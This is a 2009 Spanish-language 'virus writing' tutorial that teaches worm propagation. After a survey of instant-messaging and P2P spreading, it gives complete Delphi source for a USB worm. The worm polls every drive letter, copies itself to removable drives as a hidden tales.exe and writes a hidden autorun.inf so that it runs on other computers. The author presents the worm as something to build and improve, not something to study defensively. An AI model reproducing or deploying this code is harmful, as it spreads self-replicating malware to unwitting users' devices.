2009

Propagaciones Tomo I | USB

Ghost

portalhacknet@gmail.com

04/10/2009

TABLA DE CONTENIDO

1. INTRODUCCIÓN

Bien, a estamos de nuevo empezando una nueva serie de tomo sobre propagaciones, en las que aprenderemos los tipos de propagación que utilizan los gusanos, y como siempre, les explicaré en mi lenguaje favorito, object pascal (Mejor conocido como Delphi).

Lo que necesitaremos será, el compilador Delphi 7SE (Que es el que yo utilizo. Y sin mas preámbulos bienvenidos y espero que disfruten de este nuevo tutorial de Virus Writting.

2. ¿QUE SON LAS PROPAGACIONES?

Como sabrán, no todos los virus son iguales, existen los troyanos, los downloaders, los gusanos etc. Todos estos tipos de malware actúan de forma distinta, en el caso de los troyanos, son simples programas que controlan un PC remotamente, utilizando el protocolo cliente/servidor, para conectarse, en cuanto a los downloaders por ejemplo, son sencillos programas que descargan un archivo de forma silenciosa y lo ejecutan; pero que pasa cuando hablamos de gusanos… Son los "multifacéticos" de los virus, ya que pueden contener una característica diferente de los otros tipos de malware ya mencionados. Entre las características más llamativas que podemos observar en un gusano, son las formas en la que se "dispersan", y es de esto de lo que vamos a hablar en este primer tomo.

2.1. Tipos de propagaciones

Propagación por Mensajería instantánea

Es una de las más comunes, que podemos encontrar, si observamos bien y hacemos recuento, algunas veces nos conectamos al famoso Windows live Messenger de Microsoft y de repente uno de nuestros contactos, nos envía un mensaje diciendo algo como esto:

"Mira mis nuevas fotos" → (Y adjunto un archivo *.zip)

"Mira esta nueva canción que descargue"

Etc.

Esta es la típica forma de propagación por un cliente de mensajería instantánea, en el que se usan ciertas APIS, si por ejemplo hablamos del WLM.

Este tipo de propagación contiene las siguientes facetas (Que encontré leyendo en el manual de programación de Worms de SkullMaster123):

1. Listar u obtener los contactos del Messenger
2. Abrir una ventana de conversación
3. Enviarles el mensaje y pasarles la URL

Propagación por clientes P2P

Una de las más fáciles de programar, y una con la que más se puede infectar masivamente es por la propagación P2P (peer to peer), en la cual podemos hacer referencia a muchos programas, ya que casi todo el que tenga acceso a internet los usa:

- Ares
- Emule
- Kazaa
- BearShare
- Limewire

Entre otros…

Lo más común para este tipo de propagación es que el gusano se copie a cada una de las carpetas raíz del sistema P2P del equipo actual, así el gusano se copia muchas veces con distintos nombres e iconos (como por ejemplo iconos de un *.mp3) y así cuando un usuario de la red haga una búsqueda, se descargue el archivo "gusano", que claramente luego dejará sus payloads.

Propagación por dispositivos extraíbles USB

Con esta es la que trabajaremos en este primer tomo, porque a mi parecer, pues no es la más sencilla de programar, pero se pueden conseguir resultados específicos con este tipo de propagación, es decir, en la mayoría de lugares cualquiera puede usar o no usar el Messenger así mismo un cliente P2P, pero lo que todos usamos, sea una personal natural, ingeniero, técnico o lo que sea siempre tenemos a la mano una Memoria USB o Pendrive.

La forma como se propaga es sencilla, hay un bucle principal, que siempre esta atento a recibir las alertas de una nueva conexión, allí es donde se usan las APIS especiales para detectar si es un dispositivo USB, o un disco duro, o una unidad de CD, entonces si el dispositivo es USB, se copia al dispositivo, y cuando se conecte el dispositivo en otro equipo este también podrá copiarse, por medio del autorun, para que se ejecute el gusano, aunque hay que tener cuidado con este método ya que los antivirus actuales están muy atentos a los autorun de los dispositivos.

3. PROPAGACIÓN POR USB

Bien, como este es el tipo de propagación más importante a mi parecer vamos a empezar y terminar este tomo con este tipo de propagaciones, en los demás tomos hablare sobre las demás.

Bien para entender que es lo que vamos a hacer, vamos a escribir una especie de pseudocódigo para entender paso a paso como va a funcionar nuestro gusano que se propaga por USB:

1. Obtener nombre de nuestro gusano (Fichero actual)
2. Obtener cada "x" segundos los dispositivos USB conectados
3. Copiar nuestro fichero a la USB
4. Crear un fichero "autorun.ini" para que nuestro gusano se ejecute cada vez que se introduzca el USB.

A simple vista es fácil (Y a vista mas profunda también lo es), y es claro que lo que vamos a "codear" aquí es muy fácil, y es totalmente mejorable, pero hablaremos mas delante de las mejoras posibles que se le pueden aplicar.

3.1. Propagación USB con Object Pascal (Delphi)

Bien vamos a empezar. Para ir cogiendo buenos hábitos de programación empezaremos mejorando nuestro ejecutable para que reducir su tamaño final, así que agregamos las siguientes directivas:

```
{$APPTYPE GUI}
{$SETPEFLAGS 1}
```

Con el primero haremos que la ventana negra de la consola no se vea, y con el segundo haremos que el tamaño de nuestro ejecutable se reduzca un poco más, Luego vamos a **Project > option > package** y marcamos la casilla de verificación que dice "**build with runtime packages**", podrán observar que ele ejecutable queda más o menos en 3,50 KB.

Luego en los Uses ponemos solo la librería **Windows** para poder así declarar las API necesarias para ejecutar el gusano.

Enseguida declaramos dos variables:

```
var
drive: char;
modname: array[0..255]of char;
```

La primera variable llamada "drive", la declaramos para más adelante guardar por medio de un bucle la letra de todas las unidades conectadas al equipo; La

segunda variable llamada "modname" es una variable de tipo arreglo o cadena de caracteres para guardar el nombre de nuestro fichero actual.

Y así mismo para guardar el nombre de nuestro fichero actual utilizamos la siguiente API:

```
GetModuleFileName(0,modname,255);
```

El primer parámetro es un valor nulo, el segundo es un valor tipo char, que es la misma variable que declaramos anteriormente y allí en esa variable es donde vamos a guardar el nombre de nuestro fichero, y por ultimo va un valor entero, que indica el número máximo de caracteres a ocupar.

En el **Manual de referencias de Delphi** dicen:

The GetModuleFileName function retrieves the full path and filename for the executable file containing the specified module.

```
DWORD GetModuleFileName(
  HMODULE hModule,      // handle to module to find filename for
  LPTSTR lpFilename,    // pointer to buffer for module path
  DWORD nSize       // size of buffer, in characters
);
```

Bueno con eso ya hemos dado el primer paso que era obtener el nombre de nuestro fichero actual, ahora vamos a comprobar cuales de los dispositivos conectados es un USB:

```
while true do Begin
// Bucle para ejecutar siempre el gusano

for drive:= 'c' to 'z' do Begin
// Un ciclo para recorrer las letras de la c hasta la z estas letras pasan por la variable "drive" que ya hemos declarado arriba anteriormente.

Ahora usaremos el API de Windows GetDriveType para saber si un disposivo es USB:
If (GetDriveType(Pchar(drive + ':\')) = DRIVE_REMOVABLE)then
```

En el **Manual de referencias de Delphi** dicen:

The GetDriveType function determines whether a disk drive is a removable, fixed, CD-ROM, RAM disk, or network drive.

```
UINT GetDriveType(

  LPCTSTR lpRootPathName         // address of root path
);
```

Parameters

lpRootPathName

Points to a null-terminated string that specifies the root directory of the disk to return information about. If lpRootPathName is NULL, the function uses the root of the current directory.

Return Values

The return value specifies the type of drive. It can be one of the following values:

Value	*Meaning*
0	*The drive type cannot be determined.*
1	*The root directory does not exist.*
DRIVE_REMOVABLE	*The drive can be removed from the drive.*
DRIVE_FIXED	*The disk cannot be removed from the drive.*
DRIVE_REMOTE	*The drive is a remote (network) drive.*
DRIVE_CDROM	*The drive is a CD-ROM drive.*
DRIVE_RAMDISK	*The drive is a RAM disk.*

Luego si comprueba que si es un dispositivo extraíble copia nuestro fichero por medio del API CopyFile:

```
CopyFile(modname,Pchar(drive+ ':\tales.exe'),true);
```

El API CopyFile, funcione de la misma manera que el comando copy del DOS, se pone la ruta de origen, luego la ruta de destino y luego por ultimo una valor booleano, que indica que se va a realizar la acción, en este caso true.

```
end; // Terminamos  el ciclo for
Sleep(5000); // hasta que pasen 5 segundos

end; // Con este cerramos el while
```

Veamos como seria completo el algoritmo de comprobación:

```
while true do Begin
for drive:= 'c' to 'z' do Begin
If (GetDriveType(Pchar(drive + ':\')) = DRIVE_REMOVABLE)then
CopyFile(modname,Pchar(drive+ ':\tales.exe'),true);
end;
Sleep(5000);
end;
```

Bien ya **casi terminamos,** solo falta crear el fichero *.inf, para que se ejecute cada vez que se introduzca la USB, para ello necesitamos trabajar con ficheros tipo ascii, ya que necesitamos crear un autorun para el pendrive que contendrá las siguientes líneas:

```
[AutoRun]
open=archivo.exe
shell\open\Command=archivoq0dhfjf.exe
```

Claramente guardado con extensión *.inf, así que después del CopyFile, copiamos las siguientes líneas:

```
AssignFile(fichero,Pchar(drive + ':\autorun.inf'));
If not FileExists(Pchar(drive + ':\autorun.inf'))then
Begin
ReWrite(fichero);
WriteLn(fichero,'[AutoRun]');
WriteLn(fichero,'open=tales.exe');
Write(fichero,'shell\open\Command=tales.exe');
CloseFile(fichero);
End;
SetFileAttributes(Pchar(drive + ':\tales.exe'),FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(Pchar(drive + ':\autorun.inf'),FILE_ATTRIBUTE_HIDDEN);
```

Ah, pero antes, recuerden declarar en los **Uses** El Sysutils, que es de allí de donde cogemos estas nuevas funciones. Ah, y otra cosa (xD Que olvidadizo estoy. 7:39 PM xD), como verrán en el AssignFile ahí un parámetro llamado "**fichero**" , esa es una variable declarada tipo **TextFile.**

Si ven en la **segunda línea** del código que les acabé de mostrar, eso es para que cuando si el archivo ya existe, no salgan errores de permisos, ya algunas veces si el archivo está oculto e intentamos reescribirlo, nos saldrá error, prueben quitando esa línea y verán que les tirará error.

Por último como verán le cambio los atributos a los archivo copiados, a ocultos, así no se verán (Muajaja … xD).

Ok **Ya con eso hemos terminado** veamos como queda el código medianamente completo:

```
Program usb;

Uses
Windows,Sysutils;

var
drive: char;
modname: array[0..255]of char;
fichero: TextFile;

Begin
GetModuleFileName(0,modname,255);
while true do Begin
for drive:= 'c' to 'z' do
Begin
If (GetDriveType(Pchar(drive + ':\')) = DRIVE_REMOVABLE) then
Begin
CopyFile(modname,Pchar(drive+ ':\tales.exe'),true);
AssignFile(fichero,Pchar(drive + ':\autorun.inf'));
If not FileExists(Pchar(drive + ':\autorun.inf'))then
Begin
ReWrite(fichero);
WriteLn(fichero,'[AutoRun]');
WriteLn(fichero,'open=tales.exe');
Write(fichero,'shell\open\Command=tales.exe');
CloseFile(fichero);
End;
SetFileAttributes(Pchar(drive + ':\tales.exe'),FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(Pchar(drive + ':\autorun.inf'),FILE_ATTRIBUTE_HIDDEN);
end;
end;
Sleep(5000);
end;
end;
```

Por cierto, este Sleep con instancias de 5 segundos que coloco después de terminar el ciclo For, es para que espere cada cinco segundos, antes de volver a comprobar si existen las unidades.

Por cierto N° 2: si hicieron todo bien como les dije al principio les quedará un ejecutable de 5.50 KB, claro colocando solo lo que esta en el código que les he mostrado, ya que su código personal puede incluir otras funciones.

4.1 Teoría sobre funciones avanzadas

Existe una función del API de Windows llamada GetLogicalDriveStrings, con esta función podemos obtener todos los Strings de las unidades conectadas, esto puede llegar a ser muy útil para que reemplacen nuestra función de detección de unidades.

En el Reference dicen:

he GetLogicalDriveStrings function fills a buffer with strings that specify valid drives in the system.

```
DWORD GetLogicalDriveStrings(
    DWORD nBufferLength,    // size of buffer
    LPTSTR lpBuffer      // address of buffer for drive strings
  );
 Parameters
nBufferLength
```

Specifies the maximum size, in characters, of the buffer pointed to by lpBuffer. This size does not include the terminating null character.
lpBuffer
Points to a buffer that receives a series of null-terminated strings, one for each valid drive in the system, that end with a second null character. The following example shows the buffer contents with <null> representing the terminating null character.
c:\<null>d:\<null><null>

También podemos mejorar nuestra propagación USB, usando los hooks, pero como yo soy muy novato en esto no puedo explicarles el tema por ahora … xD, pero de lo que se trata es que cuando conectas un dispositvo, este te manda unos mensajes que avisan que se ha conectado un nuevo dispositivo, si no me equivoco, por medio de los hooks y las funciones que le hacen referencia podemos recibir estos mensajes y así poder dar con que tipo de dispositivo está conectado.

AGRADECIMIENTOS

Bueno ahí está, he terminado este primer y nuevo tomo y he aprendido algo nuevo, así como de seguro ustedes también. Y como siempre quiero agradecer a todas las personas que hacen que estas pequeñas (muy pequeñas) cosas sean posibles.

A aquellos de los que he aprendido mucho: paRRbot, Eliuth, PerverthSO, Skullmaster123.

A aquellos que siempre han creído en mí: Gerson, Ziggy, Zrallter, Input.

A los que son del país donde resido: Urban, Radical, Cristian, Monje, Alejo_0317

Y a los que me acompañan a diario xD: Jaime , Jirson.

Y por supuesto al foro de Gedzac, que son los que me inspiraron a seguir en esto del Vxing, en el que apenas estoy comenzando.

Y por último pero no menos importante (y no puedo creer que se me haya olvidado en otros tomos) es agradecer a Code-Makers, una de las mejores comunidades de programación en las que he estado.

Y recuerden si tienen dudas, o necesitan pedir algún tomo (que ya exista) o alguna recomendación para nuevos e-books, pueden escribir al e-mail que aparece en la portada. Un saludo y feliz coding… xD.

###

#Comentarios a: portalhacknet@gmail.com
#By Ghost